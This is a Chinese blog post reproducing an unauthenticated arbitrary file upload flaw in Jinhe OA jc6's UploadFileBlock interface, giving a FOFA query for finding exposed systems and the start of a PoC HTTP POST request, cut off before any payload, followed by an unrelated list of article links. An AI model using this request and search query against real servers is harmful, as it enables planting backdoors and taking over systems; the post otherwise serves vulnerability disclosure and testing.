当前位置: 首页 > news >正文

金和OA jc6 UploadFileBlock 任意文件上传漏洞复现

0x01 产品简介

金和OA协同办公管理系统软件(简称金和OA),本着简单、适用、高效的原则,贴合企事业单位的实际需求,实行通用化、标准化、智能化、人性化的产品设计,充分体现企事业单位规范管理、提高办公效率的核心思想,为用户提供一整套标准的办公自动化解决方案,以帮助企事业单位迅速建立便捷规范的办公环境。

0x02 漏洞概述

金和OA jc6系统UploadFileBlock接口处存在任意文件上传漏洞,未经身份认证的攻击者可利用此漏洞上传恶意后门文件,最终可导致服务器失陷。

0x03 复现环境

FOFA:body="/jc6/platform/sys/login"

0x04 漏洞复现

PoC

POST /jc6/JHSoft.WCF/Attachment/UploadFileBlock HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept: */*
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5iALAXlSiqxJXrhK------WebKitFormBounda

相关文章:

  • 学成在线:媒体资源管理系统(MAM)
  • onnx转换为rknn置信度大于1,图像出现乱框问题解决
  • 企业级IT应用运维监控:层次架构设计与实践指南
  • TOP100 矩阵
  • 前后端数据校验
  • Linux 网络编程 + 笔记
  • BUUCTF-Real-[ThinkPHP]5-Rce
  • TPM 2.0安全算法开发示例实战 | 开发准备
  • 07-使用Package、Crates、Modules管理项目
  • 多维时序 | Matlab实现CNN-RVM卷积神经网络结合相关向量机多变量时间序列预测
  • Spring 事务原理总结三
  • MySQL中如何将字符串替换
  • C# 怎么判断屏幕是第几屏幕?屏幕是垂直还是水平?屏幕的分辨率?
  • 老版本O记12C上线前的一些调整
  • npm ERR! code CERT_HAS_EXPIRED
  • 8年软件测试工程师感悟——写给还在迷茫中的朋友
  • AngularJS指令开发(1)——参数详解
  • Apache的80端口被占用以及访问时报错403
  • avalon2.2的VM生成过程
  • CentOS 7 防火墙操作
  • cookie和session
  • CSS实用技巧
  • es的写入过程
  • Git学习与使用心得(1)—— 初始化
  • nginx 负载服务器优化
  • React-Native - 收藏集 - 掘金
  • React系列之 Redux 架构模式
  • SQLServer之创建显式事务
  • 机器学习 vs. 深度学习
  • 如何优雅的使用vue+Dcloud(Hbuild)开发混合app
  • 为视图添加丝滑的水波纹
  • 新版博客前端前瞻
  • 再次简单明了总结flex布局,一看就懂...
  • 怎么将电脑中的声音录制成WAV格式
  • 主流的CSS水平和垂直居中技术大全
  • 我们雇佣了一只大猴子...
  • !! 2.对十份论文和报告中的关于OpenCV和Android NDK开发的总结
  • #include
  • (11)工业界推荐系统-小红书推荐场景及内部实践【粗排三塔模型】
  • (4.10~4.16)
  • (delphi11最新学习资料) Object Pascal 学习笔记---第5章第5节(delphi中的指针)
  • (非本人原创)我们工作到底是为了什么?​——HP大中华区总裁孙振耀退休感言(r4笔记第60天)...
  • (分享)自己整理的一些简单awk实用语句
  • (附源码)springboot猪场管理系统 毕业设计 160901
  • (九)信息融合方式简介
  • (一)ClickHouse 中的 `MaterializedMySQL` 数据库引擎的使用方法、设置、特性和限制。
  • (原)记一次CentOS7 磁盘空间大小异常的解决过程
  • ******之网络***——物理***
  • .apk 成为历史!
  • .equals()到底是什么意思?
  • .MyFile@waifu.club.wis.mkp勒索病毒数据怎么处理|数据解密恢复
  • .NET gRPC 和RESTful简单对比
  • .NET 将混合了多个不同平台(Windows Mac Linux)的文件 目录的路径格式化成同一个平台下的路径
  • .NET/C# 反射的的性能数据,以及高性能开发建议(反射获取 Attribute 和反射调用方法)
  • .NET6实现破解Modbus poll点表配置文件